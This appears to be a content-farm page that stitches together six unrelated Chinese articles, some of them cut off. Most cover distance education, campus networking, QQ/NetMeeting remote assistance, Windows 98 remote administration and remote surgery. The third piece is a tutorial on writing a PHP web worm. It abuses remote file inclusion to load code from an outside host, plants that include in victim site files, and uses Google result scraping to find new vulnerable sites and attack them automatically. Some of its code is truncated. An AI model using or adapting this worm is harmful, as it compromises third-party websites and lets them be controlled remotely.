基于Web 的远程教育系统的实现(共6篇)由网友“鼠女”投稿提供,下面小编为大家整理后的基于Web 的远程教育系统的实现,希望能帮助大家!
篇1:基于Web 的远程教育系统的实现
基于Web 的远程教育系统的实现
基于Web 的远程教育系统的实现
冉 清 刘 莹
(广东南海大沥佛山科学技术学院北院信息中心) (广东华南理工大学电信学院)
摘 要 本文分析了远程教育系统的基本模式及其组成和功能,并探讨了如何实现基于Web的远程教育系统,给出了初步的实施方案。
关键词 远程教育,万维网(WWW),计算机网络
远程教育(Distance Education)是计算机技术和多媒体技术相结合的新一代教育方式。利用远程教育,可突破传统教育在教育资源(师资、教材、实验和演示设备)和教育方法(统一进度、集中式和单向传授等)方面的限制,实现教育资源和教育方法不受时间和空间等约束的共享,而受教育者则可根据自己的业务水平和时间情况安排自己的学习计划和学习进度,实现传统教育无法做到的“个性化教育”。因此远程教育是普及教育、继续教育和岗位培训的一种十分有效的方式。
计算机技术和网络技术,特别是Internet的广泛应用和普及,是促成远程教育方式形成和发展的根本原因之一。近几年来,计算机网络在我国得到了飞速的'发展,中国教育科研网(CERNET)及其它一些网络的开通,以及以程控交换机为基础的公共电话网的普及率的不断提高,这些都为开展远程教育系统提供了有利的基础条件。
篇2:基于Internet远程教育系统的网络架构
基于Internet远程教育系统的网络架构
武汉理工大学网络中心 黄河
摘要:本文针对新合并的大学,提出一种连接各个校区骨干网络架构,以便适应于新形式下基于Internet的远程教育系统。
关键词:远程教育 ATM
1、引言
目前根据国家科教兴国的策略,出现了众多的高校合并。合并后的大学为了教育的现代化必须对各校区的网络进行重构,使它们互连起来成为一个整体满足教学、科研、办公自动化和信息化建设的需要。那么怎样一个网络架构能满足这些需要,尤其要能适应新形式下基于INTERNET的远程教育需要。本文提出一种合并后的新大学网络架构模型,它在不影响前期投资的前提下投入一定资金能把各校区有机的连接起来,能较好保证以上的应用实现。
2、网络通信技术选择
随着计算机网络技术的发展,在网络架构上通常采用FDDI、ATM和以太网技术,目前较流行的是采用ATM和以太网技术。无论采用哪种技术都能很好满足教学、科研、办公自动化的需要。而远程教育系统是充分利用现代通信技术,通过Internet来实现计算机的远程教学。其特点是:
①、资源的共享。集中了大量的优秀教师、丰富知识库和优秀的'CAI课件,为教学服务。
②、教学和学习方式的多样性,很适合学生的个性发展。由于网上可以传输声音、图象、动画,真正做到声情并茂,使得学习更加生动。丰富的教学内容,为学生提供了一个良好学习环境,学生可以根据自己的需要来选择老师、课程,建立适合自己的学习模式,发挥自己的最大潜能。通过网络学生可以参入讨论、交流学习体会、请教老师。
因此通信技术是远程教育系统的基础,采用什么样通信技术是保证实现远程教育系统的关键。在高校由于资金的问题大多数是选用快速以太网技术或千兆以太网技术,但是由于以太网技术是以帧交换的方式进行传输,那么对于以声频、视频信号为特点的多媒体通讯特别是实时连续的网上授课、VOD等应用,即使是千兆带宽,传输质量的控制QoS仍然得不到保证,其使用效果往往不尽人意,仍然出现滞延、停顿、抖动等现象。而ATM技术是以信元交换的方式进行传输,它具有很高的灵活性,易适应多种业务的综合,且具有QoS管理机制尤其适用于大用户量数据量的多媒体数据传播,能保证远距离的传输图象、声音的质量清晰、流畅、稳定和可靠,因而成为构造大型骨干网的主要选择。
3、新大学的网络架构
合并后的新大学一般都是跨越几个城区,为了实现教学现代化、办公自动化和
[1] [2]
篇3:一个web蠕虫的简单实现
FreeXploiT
本帖子原来是T_Torchidy的投稿文章,被tombkeeper转入论坛,
在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织,所谓 的后门,鄙视!
所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节点上做了限制。,传播受到限制。但是与此同时,web服务的广泛兴起,各种web程序的漏洞不断被发现,web服务的特殊性以及搜索引擎的强大功能就给了web蠕虫滋生的温床,下面就给大家讲述一个在php环境下的web蠕虫的简单实现。
一 、需要的程序漏洞
php程序的流行加上php的灵活性导致的安全漏洞很多,其中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:
@include $page;
?>
其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默认将远程文件选项allow_url_fopen配置为on,导致包含我们指定的远程文件变得可能。这样存在类似漏洞的程序很多,于是我们可以在其中将变量定义为我们的一个文件如www.defence80.com/worm.txt,其中执行的的代码我们可以控制。我们只要简单的GET这个页面:Iam_vul.php?page=www.defence80.com/worm.txt 就可以让worm.txt内容在网站执行:)
二 感染
我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?很明显,php代码可以做到这点。我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码:
@include “www.defence80.com/worm.txt”;
?>
当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,传统的蠕虫也是这样做的!实现很简单,我们可以在网站目录下面生成一个worm.txt表示已经被感染,代码变为:
{
fputs(fopen('worm.txt','a+'),'I am a worm!');
fputs(fopen('global.php','a+'),'
}
?>
这样这个网站就被我们寄生了:)
三 传播
传统的蠕虫是自己随机生成攻击目标或者扫描得到攻击目标的,但是很明显,web不可能自己实现这一点,但是搜索引擎的壮大使着变得可能,
假设我们的目标系统的关键页面是Iam_vul.php这个页面,那么我们可以通过Google搜索这个已经提取好的关键字的页面,然后稍加处理就可以生成攻击目标的列表了:)当然也要考虑一些其他的因素,包括代码执行的速率,我们的这个攻击代码是会 入到漏洞网站执行的,所以不要影响人家页面的打开速度,因为你可能不希望你的蠕虫那么快就死掉。我这里简单的考虑目标的选取和个数的确定:
$random = rand(0, 30);
$random = 10*$random; //随机取0-300之间的数目,我这里是作为示例:)
$query = 'Iam_vul.php'; //关键字
$url = “www.google.com/search?q=”.$query.&q ... r=&start=“.$random;
if($contents=@file_get_contents($url)) //取得Google页面的返回
{
$pattern=”|
@preg_match_all($pattern,$contents, $regArr, PREG_SET_ORDER);
for($i=0;$i<@count($regArr);$i++) {
$site=@preg_replace
(“/Iam_vul.php(.*)$/i”,'',$regArr[$i][1]); //处理生成结果,可以考虑修改感染个数
@file_get_contents
($site.“Iam_vul.php?page=www.defence80.com/worm.txt”); //攻击目标网站,的确就这么简单
}
}
?>
能不能传播时间够长可能这一步就是关键了,首先你要有精粹的攻击代码,其次要能精确的定位目标,再者因为file_get_contents函数的简单可能很容易被搜索引擎封锁,你需要用其他如fsockopen函数代替这个,为了应付环境的不确定性你需要判断函数的存在做错误处理,能做到不影响目标网站的运行而执行传播最好了!
四 如何控制?
精心构造好上面的数据就可以测试你的蠕虫了,但是如何控制这个放出去的恶魔呢?我们可以将包含worm.txt换成worm.php,然后简单的监视来访问的worm.php的次数就很容易控制这个蠕虫,你也随时可以更改这个代码让蠕虫做任何其他的事情。
五 总结
精心构造自己的代码,web蠕虫是现实的,如果你发现了某个漏洞,是公布出去让人写工具搞破坏挂马还是尝试写一个善意的蠕虫去尝试修复漏洞或者提醒管理员呢?再次鄙视那些写没有思想只写垃圾工具的废物!完毕!
篇4:用QQ实现远程控制
QQ作为一款网络即时通讯软件,已成为广大网民的必备工具,其用户量也是其他即时通讯工具软件所不能比拟的,当你聊天的时候,遇到一位“菜鸟”MM向你请教一个计算机设置或软件安装等方面的问题时,因为距离远,你又不能赶到现场,在聊天室里讲了半天,对方却是一头雾水,怎么办?这时候你就需要用远程控制。
提到远程控制,你也许就会想到那些专业的远程控制软件,如PCAnywhere,甚至一些“ ”软件,其实没有那么复杂,通过QQ中的“网络会议”功能你就可以轻松地实现对对方计算机的控制了。通过远程控制你就可以在你的计算机上向对方进行演示,或者直接在对方的电脑上进行操作,从而帮助对方解决问题。
要启动QQ的“网络会议”功能,首先在QQ的好友栏内点击你要连接的好友头像,点击“网络会议”,并向对方发出连接请求。对方同意后,QQ就会启动Windows自带的NetMeeting软件(查看Windows附件,如果没安装NetMeeting,可以通过“添加程序”进行安装),连接成功后在NetMeeting面板的“名称”窗口中就会出现两个标识各自计算机身份的头像图标。
下一步就是共享设置,点击NetMeeting面板下方的“共享程序”按钮或在“工具”菜单中选择“共享”,出现共享程序面板,设置窗口中显示的是本机桌面上正在使用的程序,
你可以选择整个桌面共享或者对桌面上的某一个程序共享,当然你也可以不让对方共享你的桌面(建议不要选中“用真彩色共享”复选框,真彩色将使得程序共享极其缓慢,尤其在拨号连接的情况下)。在“控制”选项里面你还可以设置是否允许对方控制你的共享程序或桌面以及接受控制的方式。
如下图,如果你将桌面设置为“共享”,设置完毕后,你的桌面就会出现在对方的屏幕上,当然,对方的桌面也会出现在你的电脑屏幕上。这时候你只能看到对方的桌面或对方的操作,并没有获得对方计算机的控制权,如果你要获得对方计算机的控制权,还需要进一步的操作。根据彼此的共享程序设置,以决定你能拥有对方计算机何种程度的控制权。在对方屏幕窗口上方菜单选项里,通过“控制”选项你可以向对方提出“控制权请求”。如果对方的“共享程序”里设置为共享桌面,“控制”选项设置里面设置了“允许控制”,并且是“自动接收控制请求”,这时,你就拥有了对方计算机的所有控制权了,就可以像使用自己的电脑一样随心所欲地操作了。如果想解除对对方计算机的控制,可以通过点击“控制”菜单的“释放控制权”来解除。
其实,直接在Windows附件中调用NetMeeting,一样能够实现彼此之间的远程控制,只是设置起来要复杂一些,通过QQ的“网络会议”就省去了这些麻烦的设置,也不用费尽心思地去查对方的IP了。不过有一点要注意,这种远程控制可能会受到防火墙的限制哦
篇5:远程控制实现文件共享
笔者一个朋友所在的单位的很多工作都是通过局域网来完成的,由于是单位的网络维护员,他经常发现有些电脑因为使用者操作不当而出现系统不稳定、死机、应用软件因为误删除而不能使用需要重新安装等等问题。而该电脑又因为光驱不好用,无法正常安装操作系统及其他应用软件。这时怎么办呢?共享当然是一个办法,但它不是最安全的。其实还有一个更好的方法,在这里笔者要介绍给大家的,是一种更理想的方法――用远程控制来实现文件共享。以下操作以两台电脑都是 Windows 98系统为例。
1、设置
设置被控制方。因为是利用局域网并在同一域内,所以必须先先填入用户、密码及域,进入所在的域。进入“控制面板”打开“密码”选项,点击“远程管理”选项卡,将“启用此服务器的远程管理”选项打上勾,并在密码及确认密码栏内将控制密码输入。
注意:不知道密码的人是无法控制该电脑的。在设置完此项后,您就可以去安心地设置远程控制了。
设置控制一方。同样要先进入所在的域,然后进入“控制面板”打开“添加/删除程序”选项,选择“Windows安装程序”选项卡,将“系统工具”打上勾,点击“详细资料”进入,将“系统工具”组件里的“网络监视器”打上勾,并点击“确定”,
注意:如需Windows 98系统文件,请将Windows 98安装光盘放入光驱内。
2、使用
点击“程序→附件→系统工具”,将网络监视器打开。在进入网络监视器后,点击菜单栏里的“服务器→选择服务器”,在出现的页面提示栏里输入被远程控制的计算机名,或者点击浏览找到这台计算机。确定后会出现一注意框,让您输入密码,这里的密码就是你在被控制电脑上所设置的密码,同时在注意框下将“请将密码保存到密码列表”的勾去掉。
注意:如果打上勾的话,下次其他人不需要输入密码就可以远程控制这台电脑了。
这时就可以看到你已经将被控制电脑连接上了,在标题栏上可以看到“1连接到某某”(这里的某某就是被控制电脑的计算机名),而在下方显示的远程控制电脑的用户是zxb,计算机名是赵晓彬。从你的网上邻居里中,可以看到那台电脑的所有硬盘驱动器被完全共享了,但是此时在同一域中的其他电脑,却看不到这台电脑被共享的一丝痕迹。现在,你就可以将所需要的文件复制到被控制的电脑中了。
注意:在解决问题之后,一定要将“网络监视器”卸载,方法是依次进入“控制面板→添加/删除程序→系统工具”将“网络监视器”前的勾去掉就可以了。
篇6:远程手术是怎么实现的
远程手术是怎么实现的
传统手术的场景是手术室里医生们拿着手术刀或者其他医疗器械,对着躺在无影灯下的'患者做手术。那远程手术究竟是怎么实现的呢?
首先在手术现场要有一系列设备:通信计算机、手术机器人、现场视频音频监控设备;在医生一方,也就是手术操作者所在地,也要有对应的设备:通信计算机、视频显示、音频终端、手术用计算机(或遥控操作系统)。
手术开始时,手术现场的高清视频设备和录音设备将现场的情况拍摄录制下来并通过通信计算机传送给远方的医生,医生通过己方的通信计算机了解到手术现场的所有情况,例如患者的状态,仪器仪表的读数等,根据这些信息结合手术方案,通过手术用计算机下达手术指令,该指令通过通信计算机传送给手术现场的手术机器人,机器人根据指令开始对患者进行手术,例如注射药物、开刀等,医生可以通过视频和音频设备实时地了解到执行的具体情况,并且可以根据具体的情况及时下达各种操作指令给手术现场的机器人,直到整个手术结束为止。
远程手术因其具有手术精度高、安全性好、能增强医生对手术过程的认知等优点,正逐渐受到越来越多的关注。
★ 基于J2EE平台的网络辅助教学系统的设计与实现的研究论文
【基于Web 的远程教育系统的实现(共6篇)】相关文章:
确保PHP应用程序的安全[2]WEB安全2022-04-30
网络仿真在高职网络教学中的应用2024-01-09
《互联网软件应用于开发》教案11-12章2022-10-27
软件开题报告2023-07-04
基于Web的农机推广信息系统的研究与设计论文2022-12-25
计算机系统分析员论文-企业人事信息系统的应用2023-05-05
WIN技巧:内网用户建个人服务器很简单2022-09-27
企业信息化的新选择-―Intranet2022-04-30
初学摄影心得体会感想2023-12-19
工程硕士选题报告范文2023-10-22